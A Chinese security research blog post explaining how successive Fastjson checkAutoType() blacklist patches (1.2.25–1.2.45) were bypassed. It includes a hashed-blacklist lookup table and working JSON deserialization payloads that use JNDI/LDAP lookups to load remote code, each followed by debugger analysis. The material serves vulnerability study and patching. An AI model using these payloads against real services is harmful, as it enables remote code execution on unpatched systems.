Fastjson系列三——历史版本补丁绕过(需开启AutoType)
/在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
网上一些文章讲的都是针对1.2.41、1.2.42、1.2.43、1.2.45这些特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本,自己试下就知道PoC可以打哪些范围了。
注意:本篇文章讲的历史补丁版本绕过的利用,都必须开启AutoTypeSupport才能成功。
0x01 哈希黑名单
通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
目前已知的哈希黑名单的对应表如下:
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | -8720046426850100497 | 0x86fc2bf9beaf7aefL | org.apache.commons.collections4.comparators |
1.2.42 | -8109300701639721088 | 0x8f75f9fa0df03f80L | org.python.core |
1.2.42 | -7966123100503199569 | 0x9172a53f157930afL | org.apache.tomcat |
1.2.42 | -7766605818834748097 | 0x9437792831df7d3fL | org.apache.xalan |
1.2.42 | -6835437086156813536 | 0xa123a62f93178b20L | javax.xml |
1.2.42 | -4837536971810737970 | 0xbcdd9dc12766f0ceL | org.springframework. |
1.2.42 | -4082057040235125754 | 0xc7599ebfe3e72406L | org.apache.commons.beanutils |
1.2.42 | -2364987994247679115 | 0xdf2ddff310cdb375L | org.apache.commons.collections.Transformer |
1.2.42 | -1872417015366588117 | 0xe603d6a51fad692bL | org.codehaus.groovy.runtime |
1.2.42 | -254670111376247151 | 0xfc773ae20c827691L | java.lang.Thread |
1.2.42 | -190281065685395680 | 0xfd5bfc610056d720L | javax.net. |
1.2.42 | 313864100207897507 | 0x45b11bc78a3aba3L | com.mchange |
1.2.42 | 1203232727967308606 | 0x10b2bdca849d9b3eL | org.apache.wicket.util |
1.2.42 | 1502845958873959152 | 0x14db2e6fead04af0L | java.util.jar. |
1.2.42 | 3547627781654598988 | 0x313bb4abd8d4554cL | org.mozilla.javascript |
1.2.42 | 3730752432285826863 | 0x33c64b921f523f2fL | java.rmi |
1.2.42 | 3794316665763266033 | 0x34a81ee78429fdf1L | java.util.prefs. |
1.2.42 | 4147696707147271408 | 0x398f942e01920cf0L | com.sun. |
1.2.42 | 5347909877633654828 | 0x4a3797b30328202cL | java.util.logging. |
1.2.42 | 5450448828334921485 | 0x4ba3e254e758d70dL | org.apache.bcel |
1.2.42 | 5751393439502795295 | 0x4fd10ddc6d13821fL | java.net.Socket |
1.2.42 | 5944107969236155580 | 0x527db6b46ce3bcbcL | org.apache.commons.fileupload |
1.2.42 | 6742705432718011780 | 0x5d92e6ddde40ed84L | org.jboss |
1.2.42 | 7179336928365889465 | 0x63a220e60a17c7b9L | org.hibernate |
1.2.42 | 7442624256860549330 | 0x6749835432e0f0d2L | org.apache.commons.collections.functors |
1.2.42 | 8838294710098435315 | 0x7aa7ee3627a19cf3L | org.apache.myfaces.context.servlet |
1.2.43 | -2262244760619952081 | 0xe09ae4604842582fL | java.net.URL |
1.2.46 | -8165637398350707645 | 0x8eadd40cb2a94443L | junit. |
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
1.2.46 | -7921218830998286408 | 0x92122d710e364fb8L | org.osjava.sj. |
1.2.46 | -7768608037458185275 | 0x94305c26580f73c5L | org.apache.log4j. |
1.2.46 | -6179589609550493385 | 0xaa3daffdb10c4937L | org.logicalcobwebs. |
1.2.46 | -5194641081268104286 | 0xb7e8ed757f5d13a2L | org.apache.logging. |
1.2.46 | -3935185854875733362 | 0xc963695082fd728eL | org.apache.commons.dbcp |
1.2.46 | -2753427844400776271 | 0xd9c9dbf6bbd27bb1L | com.ibatis.sqlmap.engine.datasource |
1.2.46 | -1589194880214235129 | 0xe9f20bad25f60807L | org.jdom. |
1.2.46 | 1073634739308289776 | 0xee6511b66fd5ef0L | org.slf4j. |
1.2.46 | 5688200883751798389 | 0x4ef08c90ff16c675L | javassist. |
1.2.46 | 7017492163108594270 | 0x616323f12c2ce25eL | oracle.net |
1.2.46 | 8389032537095247355 | 0x746bd4a53ec195fbL | org.jaxen. |
1.2.48 | 1459860845934817624 | 0x144277b467723158L | java.net.InetAddress |
1.2.48 | 8409640769019589119 | 0x74b50bb9260e31ffL | java.lang.Class |
1.2.49 | 4904007817188630457 | 0x440e89208f445fb9L | com.alibaba.fastjson.annotation |
1.2.59 | 5100336081510080343 | 0x46c808a4b5841f57L | org.apache.cxf.jaxrs.provider. |
1.2.59 | 6456855723474196908 | 0x599b5c1213a099acL | ch.qos.logback. |
1.2.59 | 8537233257283452655 | 0x767a586a5107feefL | net.sf.ehcache.transaction.manager. |
1.2.60 | 3688179072722109200 | 0x332f0b5369a18310L | com.zaxxer.hikari. |
1.2.61 | -4401390804044377335 | 0xc2eb1e621f439309L | flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor |
1.2.61 | -1650485814983027158 | 0xe9184be55b1d962aL | org.apache.openjpa.ee. |
1.2.61 | -1251419154176620831 | 0xeea210e8da2ec6e1L | oracle.jdbc.rowset.OracleJDBCRowSet |
1.2.61 | -9822483067882491 | 0xffdd1a80f1ed3405L | com.mysql.cj.jdbc.admin. |
1.2.61 | 99147092142056280 | 0x1603dc147a3e358L | oracle.jdbc.connector.OracleManagedConnectionFactory |
1.2.61 | 3114862868117605599 | 0x2b3a37467a344cdfL | org.apache.ibatis.parsing. |
1.2.61 | 4814658433570175913 | 0x42d11a560fc9fba9L | org.apache.axis2.jaxws.spi.handler. |
1.2.61 | 6511035576063254270 | 0x5a5bd85c072e5efeL | jodd.db.connection. |
1.2.61 | 8925522461579647174 | 0x7bddd363ad3998c6L | org.apache.commons.configuration.JNDIConfiguration |
1.2.62 | -9164606388214699518 | 0x80d0c70bcc2fea02L | org.apache.ibatis.executor. |
1.2.62 | -8649961213709896794 | 0x87f52a1b07ea33a6L | net.sf.cglib. |
1.2.62 | -5764804792063216819 | 0xafff4c95b99a334dL | com.mysql.cj.jdbc.MysqlDataSource |
1.2.62 | -4438775680185074100 | 0xc2664d0958ecfe4cL | aj.org.objectweb.asm. |
1.2.62 | -3319207949486691020 | 0xd1efcdf4b3316d34L | oracle.jdbc. |
1.2.62 | -2192804397019347313 | 0xe1919804d5bf468fL | org.apache.commons.collections.comparators. |
1.2.62 | -2095516571388852610 | 0xe2eb3ac7e56c467eL | net.sf.ehcache.hibernate. |
1.2.62 | 4750336058574309 | 0x10e067cd55c5e5L | com.mysql.cj.log. |
1.2.62 | 218512992947536312 | 0x3085068cb7201b8L | org.h2.jdbcx. |
1.2.62 | 823641066473609950 | 0xb6e292fa5955adeL | org.apache.commons.logging. |
1.2.62 | 1534439610567445754 | 0x154b6cb22d294cfaL | org.apache.ibatis.reflection. |
1.2.62 | 1818089308493370394 | 0x193b2697eaaed41aL | org.h2.server. |
1.2.62 | 2164696723069287854 | 0x1e0a8c3358ff3daeL | org.apache.ibatis.datasource. |
1.2.62 | 2653453629929770569 | 0x24d2f6048fef4e49L | org.objectweb.asm. |
1.2.62 | 2836431254737891113 | 0x275d0732b877af29L | flex.messaging.util.concurrent. |
1.2.62 | 3089451460101527857 | 0x2adfefbbfe29d931L | org.apache.ibatis.javassist. |
1.2.62 | 3718352661124136681 | 0x339a3e0b6beebee9L | org.apache.ibatis.ognl. |
1.2.62 | 4046190361520671643 | 0x3826f4b2380c8b9bL | com.mysql.cj.jdbc.MysqlConnectionPoolDataSource |
1.2.62 | 6280357960959217660 | 0x5728504a6d454ffcL | org.apache.ibatis.scripting. |
1.2.62 | 6734240326434096246 | 0x5d74d3e5b9370476L | com.mysql.cj.jdbc.MysqlXADataSource |
1.2.62 | 7123326897294507060 | 0x62db241274397c34L | org.apache.commons.collections.functors. |
1.2.62 | 8488266005336625107 | 0x75cc60f5871d0fd3L | org.apache.commons.configuration |
目前未知的哈希黑名单:
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | 33238344207745342 | 0x761619136cc13eL | |
1.2.62 | -6316154655839304624 | 0xa85882ce1044c450L | |
1.2.62 | -5472097725414717105 | 0xb40f341c746ec94fL | |
1.2.62 | -4608341446948126581 | 0xc00be1debaf2808bL | |
1.2.62 | 3256258368248066264 | 0x2d308dbbc851b0d8L | |
1.2.62 | 4841947709850912914 | 0x43320dc9d2ae0892L | |
1.2.62 | 6534946468240507089 | 0x5ab0cb3071ab40d1L |
0x02 1.2.25-1.2.41补丁绕过
绕过利用
本地fastjson用的是1.2.41版本。
这里Demo还是用的《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》中基于JdbcRowSetImpl的利用链的PoC。
直接运行的话会报错,原因就是checkAutoType()函数中的黑名单过滤了”com.sun.”:
下面我们直接给出payload:
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;
注意是要开启AutoTypeSupport的,添加以下代码就ok了:
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
直接运行即可绕过checkAutoType()黑名单实现弹计算器:
调试分析
我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。
下面我们调试分析看看为啥会绕过。
我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验,再往下开始调用TypeUtils.loadClass():
跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过:
0x03 1.2.25-1.2.42补丁绕过
绕过利用
先直接给出payload:
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;
在1.2.22-1.2.42版本运行都能成功触发:
调试分析
自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:
1 | denyHashCodes = new long[]{-8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L,-6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L,-1872417015366588117L,-254670111376247151L,-190281065685395680L,33238344207745342L,313864100207897507L,1203232727967308606L,1502845958873959152L,3547627781654598988L,3730752432285826863L,3794316665763266033L,4147696707147271408L,5347909877633654828L,5450448828334921485L,5751393439502795295L,5944107969236155580L,6742705432718011780L,7179336928365889465L,7442624256860549330L,8838294710098435315L}; |
在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作:
但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。
后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;
进行denyList黑名单过滤,也就顺利绕过了。
注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;
:
为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名:
0x04 1.2.25-1.2.43补丁绕过
绕过利用
直接给出payload:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
关键PoC:[com.sun.rowset.JdbcRowSetImpl
但是如果我们一开始payload直接这样写是会报错的:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
因此改下payload,在第一个逗号前面加个”[“:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43 |
因此就修改得到最终版payload,能够成功触发:
调试分析
调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错:
但是以”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。
继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:
解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化了:
在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里:
把这些条件一一满足后,就能成功利用了。
0x05 1.2.25-1.2.45补丁绕过
绕过利用
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
直接给出payload,要连LDAP或RMI都可以:
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}} |
关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到:
version | hash | hex-hash | name |
---|---|---|---|
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
运行即可成功触发:
调试分析
调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:
后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。
继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。
由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。
直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup()
,其中参数由我们输入的properties属性中的data_source值获取的:
之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。
函数调用栈如下:
1 | <init>:10, Exploit |
OK,Fastjson历史版本补丁的绕过大致就这些,并且这些都是需要开启AutoTypeSupport才能成功利用的,后面一篇文章就是讲2019年Fastjson反序列化漏洞,一样是checkAutoType()的绕过,但是无需开启AutoTypeSupport。